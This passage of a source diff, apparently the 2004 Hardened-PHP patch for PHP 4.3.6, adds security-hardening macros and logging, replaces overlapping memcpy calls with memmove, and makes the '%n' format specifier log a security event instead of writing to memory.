1265@@ -1103,6 +1103,12 @@
1266 php_output_startup();
1267 php_output_activate(TSRMLS_C);
1268
1269+#if HARDENED_PHP_INC_PROTECT
1270+ zuf.is_valid_include = php_is_valid_include;
1271+#endif
1272+#if HARDENED_PHP
1273+ zuf.security_log_function = php_security_log;
1274+#endif
1275 zuf.error_function = php_error_cb;
1276 zuf.printf_function = php_printf;
1277 zuf.write_function = php_body_write_wrapper;
1278@@ -1306,6 +1312,9 @@
1279 */
1280 static inline void php_register_server_variables(TSRMLS_D)
1281 {
1282+#if HARDENED_PHP
1283+ zval **remote_addr;
1284+#endif
1285 zval *array_ptr=NULL;
1286
1287 ALLOC_ZVAL(array_ptr);
1288@@ -1317,6 +1326,14 @@
1289 if (sapi_module.register_server_variables) {
1290 sapi_module.register_server_variables(array_ptr TSRMLS_CC);
1291 }
1292+
1293+#if HARDENED_PHP
1294+ if (zend_hash_find(array_ptr->value.ht, "REMOTE_ADDR", sizeof("REMOTE_ADDR"), (void **) &remote_addr)==SUCCESS) {
1295+ strncpy(SG(request_info).ip_address, Z_STRVAL_PP(remote_addr), sizeof(SG(request_info).ip_address));
1296+ } else {
1297+ strcpy(SG(request_info).ip_address, "REMOTE_ADDR not set");
1298+ }
1299+#endif
1300
1301 /* PHP Authentication support */
1302 if (SG(request_info).auth_user) {
1303diff -Nur php-4.3.6.orig/main/php.h hardened-php/main/php.h
1304--- php-4.3.6.orig/main/php.h Fri Apr 16 19:25:39 2004
1305+++ hardened-php/main/php.h Sun May 16 00:33:40 2004
1306@@ -35,6 +35,7 @@
1307 #include "zend_qsort.h"
1308 #include "php_compat.h"
1309
1310+
1311 #include "zend_API.h"
1312
1313 #if PHP_BROKEN_SPRINTF
1314@@ -230,7 +231,7 @@
1315 #define PHP_ATTRIBUTE_MALLOC ZEND_ATTRIBUTE_MALLOC
1316 #define PHP_ATTRIBUTE_FORMAT ZEND_ATTRIBUTE_FORMAT
1317
1318-#if !defined(HAVE_SNPRINTF) || !defined(HAVE_VSNPRINTF) || PHP_BROKEN_SPRINTF || PHP_BROKEN_SNPRINTF || PHP_BROKEN_VSNPRINTF
1319+#if !defined(HAVE_SNPRINTF) || !defined(HAVE_VSNPRINTF) || PHP_BROKEN_SPRINTF || PHP_BROKEN_SNPRINTF || PHP_BROKEN_VSNPRINTF || HARDENED_PHP
1320 #include "snprintf.h"
1321 #endif
1322 #include "spprintf.h"
1323@@ -431,6 +432,10 @@
1324 #define XtOffsetOf(s_type, field) XtOffset(s_type*, field)
1325 #endif
1326 #endif /* !XtOffsetOf */
1327+
1328+#if HARDENED_PHP
1329+#include "hardened_php.h"
1330+#endif
1331
1332 #endif
1333
1334diff -Nur php-4.3.6.orig/main/php_config.h.in hardened-php/main/php_config.h.in
1335--- php-4.3.6.orig/main/php_config.h.in Fri Apr 16 19:25:40 2004
1336+++ hardened-php/main/php_config.h.in Sun May 16 00:33:40 2004
1337@@ -831,6 +831,33 @@
1338 /* Enabling BIND8 compatibility for Panther */
1339 #undef BIND_8_COMPAT
1340
1341+/* Hardened-PHP */
1342+#undef HARDENED_PHP
1343+
1344+/* Memory Manager Protection */
1345+#undef HARDENED_PHP_MM_PROTECT
1346+
1347+/* Memory Manager Protection */
1348+#undef HARDENED_PHP_MM_PROTECT
1349+
1350+/* Linked List Protection */
1351+#undef HARDENED_PHP_LL_PROTECT
1352+
1353+/* Linked List Protection */
1354+#undef HARDENED_PHP_LL_PROTECT
1355+
1356+/* Include/Require Protection */
1357+#undef HARDENED_PHP_INC_PROTECT
1358+
1359+/* Include/Require Protection */
1360+#undef HARDENED_PHP_INC_PROTECT
1361+
1362+/* Fmt String Protection */
1363+#undef HARDENED_PHP_FMT_PROTECT
1364+
1365+/* Fmt String Protection */
1366+#undef HARDENED_PHP_FMT_PROTECT
1367+
1368 /* Whether you have AOLserver */
1369 #undef HAVE_AOLSERVER
1370
1371diff -Nur php-4.3.6.orig/main/rfc1867.c hardened-php/main/rfc1867.c
1372--- php-4.3.6.orig/main/rfc1867.c Fri Apr 16 19:25:39 2004
1373+++ hardened-php/main/rfc1867.c Sun May 16 00:42:55 2004
1374@@ -147,7 +147,7 @@
1375
1376 /* and remove it */
1377 if (s != varname) {
1378- memcpy(varname, s, strlen(s)+1);
1379+ memmove(varname, s, strlen(s)+1);
1380 }
1381
1382 for (p=varname; *p && *p != '['; p++) {
1383@@ -178,7 +178,7 @@
1384 indexend = indexend ? indexend + 1 : index + strlen(index);
1385
1386 if (s != index) {
1387- memcpy(s, index, strlen(s)+1);
1388+ memmove(s, index, strlen(index)+1);
1389 s += indexend-index;
1390 } else {
1391 s = indexend;
1392diff -Nur php-4.3.6.orig/main/snprintf.c hardened-php/main/snprintf.c
1393--- php-4.3.6.orig/main/snprintf.c Fri Apr 16 19:25:40 2004
1394+++ hardened-php/main/snprintf.c Sun May 16 00:33:40 2004
1395@@ -462,7 +462,7 @@
1396 return (buf);
1397 }
1398
1399-#if !defined(HAVE_SNPRINTF) || !defined(HAVE_VSNPRINTF) || PHP_BROKEN_SNPRINTF || PHP_BROKEN_VSNPRINTF
1400+#if !defined(HAVE_SNPRINTF) || !defined(HAVE_VSNPRINTF) || PHP_BROKEN_SNPRINTF || PHP_BROKEN_VSNPRINTF || HARDENED_PHP
1401
1402 /*
1403 * NUM_BUF_SIZE is the size of the buffer used for arithmetic conversions
1404@@ -852,7 +852,11 @@
1405
1406
1407 case 'n':
1408+#if HARDENED_PHP_FMT_PROTECT
1409+ php_security_log("'n' specifier within format string");
1410+#else
1411 *(va_arg(ap, int *)) = cc;
1412+#endif
1413 break;
1414
1415 /*
1416diff -Nur php-4.3.6.orig/main/snprintf.h hardened-php/main/snprintf.h
1417--- php-4.3.6.orig/main/snprintf.h Fri Apr 16 19:25:40 2004
1418+++ hardened-php/main/snprintf.h Sun May 16 00:33:40 2004
1419@@ -62,12 +62,12 @@
1420 #ifndef SNPRINTF_H
1421 #define SNPRINTF_H
1422
1423-#if !defined(HAVE_SNPRINTF) || PHP_BROKEN_SNPRINTF
1424+#if !defined(HAVE_SNPRINTF) || PHP_BROKEN_SNPRINTF || HARDENED_PHP
1425 int ap_php_snprintf(char *, size_t, const char *, ...) PHP_ATTRIBUTE_FORMAT(printf, 3, 4);
1426 #define snprintf ap_php_snprintf
1427 #endif
1428
1429-#if !defined(HAVE_VSNPRINTF) || PHP_BROKEN_VSNPRINTF
1430+#if !defined(HAVE_VSNPRINTF) || PHP_BROKEN_VSNPRINTF || HARDENED_PHP
1431 int ap_php_vsnprintf(char *, size_t, const char *, va_list ap) PHP_ATTRIBUTE_FORMAT(printf, 3, 0);
1432 #define vsnprintf ap_php_vsnprintf
1433 #endif
1434diff -Nur php-4.3.6.orig/main/spprintf.c hardened-php/main/spprintf.c
1435--- php-4.3.6.orig/main/spprintf.c Fri Apr 16 19:25:39 2004
1436+++ hardened-php/main/spprintf.c Sun May 16 00:33:40 2004
1437@@ -531,7 +531,11 @@
1438
1439
1440 case 'n':
1441+#if HARDENED_PHP_FMT_PROTECT
1442+ php_security_log("'n' specifier within format string");
1443+#else
1444 *(va_arg(ap, int *)) = cc;
1445+#endif
1446 break;
1447
1448 /*
1449diff -Nur php-4.3.6.orig/sapi/apache/mod_php4.c hardened-php/sapi/apache/mod_php4.c
1450--- php-4.3.6.orig/sapi/apache/mod_php4.c Fri Apr 16 19:25:44 2004
1451+++ hardened-php/sapi/apache/mod_php4.c Sun May 16 00:33:40 2004
1452@@ -891,7 +891,11 @@
1453 {
1454 TSRMLS_FETCH();
1455 if (PG(expose_php)) {
1456+#if HARDENED_PHP
1457+ ap_add_version_component("Hardened-PHP/" PHP_VERSION);
1458+#else
1459 ap_add_version_component("PHP/" PHP_VERSION);
1460+#endif
1461 }
1462 }
1463 #endif
1464diff -Nur php-4.3.6.orig/sapi/apache2filter/sapi_apache2.c hardened-php/sapi/apache2filter/sapi_apache2.c
1465--- php-4.3.6.orig/sapi/apache2filter/sapi_apache2.c Fri Apr 16 19:25:45 2004
1466+++ hardened-php/sapi/apache2filter/sapi_apache2.c Sun May 16 00:33:40 2004
1467@@ -559,7 +559,11 @@
1468 {
1469 TSRMLS_FETCH();
1470 if (PG(expose_php)) {
1471+#if HARDENED_PHP
1472+ ap_add_version_component(p, "Hardened-PHP/" PHP_VERSION);
1473+#else
1474 ap_add_version_component(p, "PHP/" PHP_VERSION);
1475+#endif
1476 }
1477 }
1478
1479diff -Nur php-4.3.6.orig/sapi/apache2handler/sapi_apache2.c hardened-php/sapi/apache2handler/sapi_apache2.c
1480--- php-4.3.6.orig/sapi/apache2handler/sapi_apache2.c Fri Apr 16 19:25:45 2004
1481+++ hardened-php/sapi/apache2handler/sapi_apache2.c Sun May 16 00:33:40 2004
1482@@ -358,7 +358,11 @@
1483 {
1484 TSRMLS_FETCH();
1485 if (PG(expose_php)) {
1486+#if HARDENED_PHP
1487+ ap_add_version_component(p, "Hardened-PHP/" PHP_VERSION);
1488+#else
1489 ap_add_version_component(p, "PHP/" PHP_VERSION);
1490+#endif
1491 }
1492 }
1493